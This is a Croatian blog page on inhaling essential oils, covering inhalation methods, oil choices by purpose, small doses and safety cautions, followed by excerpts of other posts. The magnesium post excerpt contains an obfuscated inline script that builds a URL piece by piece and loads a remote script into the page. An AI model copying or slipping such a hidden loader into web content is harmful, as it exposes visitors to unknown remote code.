INHALIRANJE ETERIČNIM ULJIMA


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Inhaliranje eteričnim uljima 


https://she.hr/inhaliranje-etericnim-uljima-koje-vrste-postoje-i-kako-ih-koristiti-prema-namjeni/


Postoji nekoliko osnovnih vrsta inhalacija. Parna inhalacija nad toplom kupkom najintenzivniji je oblik i koristi se kratko, najčešće kod začepljenog nosa i sinusa. Suha inhalacija na maramici najjednostavnija je metoda – jedna kap eteričnog ulja dovoljna je za nekoliko laganih udaha tijekom dana. Džepni inhalatori praktični su za posao, učenje i putovanja jer omogućuju kontrolirano i diskretno inhaliranje. Posude ili maske za lice koriste se za ciljano inhaliranje, osobito kod respiratornih tegoba, ali u kraćem trajanju.





Koje ulje odabrati?

Eterična ulja biraju se prema namjeni. Kod prehlade i otežanog disanja najčešće se koriste eukaliptus, bor, čajevac i ravensara. Za smirenje, opuštanje i bolji san biraju se lavanda, mandarina, bergamot i tamjan. Kod glavobolje često se koriste paprena metvica i lavanda, dok se za učenje, koncentraciju i mentalnu jasnoću preporučuju limun, ružmarin i grejp.




Dvije kapi su sasvim dovoljne

Kod inhalacije vrijedi pravilo umjerenosti. Jedna do dvije kapi eteričnog ulja sasvim su dovoljne, ovisno o vrsti inhalacije, a postupak se provodi jednom ili nekoliko puta dnevno. Veće količine ne pojačavaju učinak, već mogu izazvati nelagodu.



S uljima oprezno

Djeca i starije osobe trebaju blaže metode i niže doze, pri čemu se prednost daje suhoj inhalaciji. Parna inhalacija kod djece se ne preporučuje. Poseban oprez potreban je kod osoba s astmom, kroničnim plućnim bolestima, alergijama i povišenim krvnim tlakom. Trudnice i bebe ne inhaliramo.

Ako se pojave vrtoglavica, mučnina ili otežano disanje, inhalaciju treba odmah prekinuti.

Pravilno odabrana vrsta inhalacije i eterično ulje mogu postati jednostavan dnevni ritual koji donosi lakše disanje, smireniji um i bolji osjećaj ravnoteže.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više